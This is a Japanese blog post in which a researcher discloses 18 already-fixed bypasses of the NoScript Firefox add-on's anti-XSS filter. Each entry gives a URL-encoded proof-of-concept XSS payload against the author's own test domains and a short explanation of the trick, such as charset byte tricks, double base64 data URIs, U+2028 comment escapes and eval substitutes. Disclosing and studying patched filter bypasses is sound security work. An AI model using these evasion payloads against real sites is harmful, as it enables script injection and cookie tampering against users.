NoScriptのAnti-XSS機能のバイパス18個

 FirefoxのアドオンであるNoScriptに備わっているXSS防止機能の、これまでに僕が報告した、対策された迂回方法を公開します。


1. v2.3.2rc2で修正

http://vulnerabledoma.in/char_test?charset=iso-2022-jp&body=%3Cifr%1B%28Jame%20o%1B%28Jnload=aler%1B%28Jt%281%29%3E

ISO-2022-JPでエンコードされたページまたは自動選択でISO-2022-JPが選択されたページで、NoScriptが反応する文字列中にISO-2022-JPで無視されるバイト列を挟むことで検出を回避できました。


2. v2.3.2rc3で修正

http://l0.cm/noscript/

単純にイベントハンドラの検出のバグです。URL中に()が入ると弾かれるので、location.href=window.nameでURL中に()を含めないようにし、さらにwindow.name中に()が入っていても検出されるので、window.name中の()をパーセントエンコードすることで回避できました。


3. v2.3.2rc4で修正

http://vulnerabledoma.in/char_test?body=%3Ch1%20/onmouseover=%22eval%28%27alert%28location%27%2B%27%29%27%29%3B%22%3Exxx

単に「/」がついたイベントハンドラの検出のバグです。


4. v2.3.2rc5で修正

http://vulnerabledoma.in/char_test?charset=hz-gb-2312&body=%3Ch1%20o~%0Anmouseover=%22ale~%0Art%281%29%22%3Exxxxx


ISO-2022-JPの方法と同じように、エンコーディング「HZ-GB-2312」で無視される文字列を使い検出を回避しました。

追記--------------------------

あ！これ今見たら動かないですね！Firefox12のこのときに無視されないようになったみたいです。

------------------------------


5. v2.3.5rc1で修正

http://l0.cm/noscript2/

javascriptスキームのリンク中の「name」文字列の検出のバグです。クリックするとnameの中身が文字列でかえってくるので、nameにスクリプトタグを書いた文字列を設定しています。
(※ここからリンクを作成することで回避する方法を いくつか紹介しますが、なぜ危険なスキームをチェックして検出しないのかと思うかもしれません。NoScriptは、誤検出を減らすためか、任意のスク リプトを実行できてしまいそうな危険なものは検出されますが、javascriptスキームやdataスキームのリンクが全く作れないほどは制限されていないようです。)


6. v2.3.5rc2で修正

http://l0.cm/noscript3/

「\u006Eame」と表記することで「name」という文字列の検出を回避できていました。
さらにwindow.nameの中身のチェックが厳しくなったので、window.nameを設定するタイミングをずらして回避しました。


7. v2.3.6rc2で修正

http://l0.cm/noscript4/

「feed:」を先頭につけた攻撃URLをフレームに埋め込むと、検出を回避できていました。


8. v2.4.1rc1で修正

http://l0.cm/noscript5/

<script>タグ内に動的生成された文字列中でも、「\u006Eame」とすることでnameの検出を回避できていました。
(※NoScriptは<script>タグ内に動的生成された文字列から生じるXSSでも、ある程度検出できるようにしているようです。ここからいくつかそのタイプのバイパスが出てきます。)


9. v2.4.5rc1で修正

http://vulnerabledoma.in/xss_js?q=%22-alert%A51%A4-%22

http://vulnerabledoma.in/char_test?body=%3Ca%20href=javascript:alert%A51%A4%3Eaaa

ソーシャルエンジニアリングによりARMSCII-8というエンコーディングに変更させることで、0xA5が「(」、0xA4が「)」となり、 0x28/0x29を使わずにカッコを埋め込むことができ、検出を回避してJavaScriptを実行させることができていました。ARMSCII-8はもはや使われていないエンコーディングのため、ARMSCII-8へのエンコーディングの切替えができないようにNoScript側で変更されました。ちなみに、過去にUTF-7でも同じ措置をとったという話をききました。
(※このARMSCII-8のような、別のバイトにASCIIの範囲の文字が現れる文字エンコーディングがいくつかあります。この調査を以前したので、いずれ結果を載せたいと思います。)


10. v2.4.5rc1で修正

http://l0.cm/noscript6/

/a/.source というような表記と、window.nameを組み合わせることで、回避できていました。


11. v2.4.5rc2で修正

http://l0.cm/noscript7/

E4Xとlocation.hashとwindow.nameを組み合わせることで、回避できていました。


12. v2.4.5rc3で修正

http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href=location.hash[1]%2Blocation.hash[2]%2Blocation.hash[3]%2Blocation.hash[4]%2Blocation.hash[5]%2Blocation.hash[6]%2Blocation.hash[7]%2Blocation.hash[8]%2Blocation.hash[9]%2Blocation.hash[10]%2Blocation.hash[11]%2Blocation.hash[12]%2Blocation.hash[13]%2Blocation.hash[14]%2Blocation.hash[15]%2Blocation.hash[16]%2Blocation.hash[17]%2B281%2Blocation.hash[17]%2B29//#javascript:alert%

1文字ずつアクセスすることで、検出を回避できていました。

13. v2.4.5rc4で修正

http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:text/html%3Bbase64,PGEgaHJlZj0iZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LFBITmpjbWx3ZEQ1aGJHVnlkQ2hrYjJOMWJXVnVkQzVrYjIxaGFXNHBQQzl6WTNKcGNIUSsiPkNsaWNr%22%3EClick

dataスキームのリンクにbase64で2重にエンコードした文字列を使用することで、検出を回避できていました。


14. v2.4.5rc5で修正

http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:x%3Bb%20ase64,P%20HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%22%3EClick

dataスキーム中のbase64文字列の間にあるスペース(0x20)を無視するFirefoxの挙動を利用して、検出を回避できていました。


15. v2.4.5rc6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bfor%20each%28location%20in%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//

http://vulnerabledoma.in/xss_js?q=%22%3Bfor%28location%20of%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//

for each-in/for-of文を使うことでlocationへの代入を行い、任意のJavaScript実行の検出を回避できていました。


16. v2.4.5rc7で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bfunction::[%27location%27]=%27javascript%27%2B%27:alert%281%29%27//

function:: のような、Firefox特有の記法で回避できていました。


(v2.4.6で修正)

http://vulnerabledoma.in/xss_js?q=%22%3Bwith%28document%29{cookie=123}//

withを使用することで、任意のCookieのセットができていました。


17. v2.4.6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bx=%27javascript%27%2B%27:alert%281%29%27%3B//%E2%80%A8location=x//

U+2028/2029が改行と考慮されていなかったため、自ら書いた「//」のコメントアウトからそれらの文字列で抜けることで、検出を回避できていました。


18. v2.4.6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bcrypto.generateCRMFRequest%28%27CN=0%27,0,0,null,%27alert%281%27%2B%27%29%27,384,null,%27rsa-dual-use%27%29//

crypto.generateCRMFRequest()をeval()の代用とすることで、任意のJavaScript実行の検出を回避できていました。


以上です！

各ブラウザのAnti-XSS機能よりもNoScriptが特に優れている点は、問題が発見された時の対応の早さだと思います。NoScriptの開発者であるGiorgio氏は、どれもその日のうちにrc版をリリースしてくれるほど、熱心に対応してくれました。

皆さんも突破に挑戦して、報告してみてはいかがでしょうか！


参考文献：

7.  http://view.officeapps.live.com/op/view.aspx?src=http%3A%2F%2Futf-8.jp%2Fpublic%2F20120421%2Fmomiji.pptx hack#1

15. http://d.hatena.ne.jp/st4rdust/20110329/1301386042

16. http://sla.ckers.org/forum/read.php?24,28641,35101#msg-35101

18. http://www.slideshare.net/x00mario/the-future-of-web-attacks-confidence-2010/35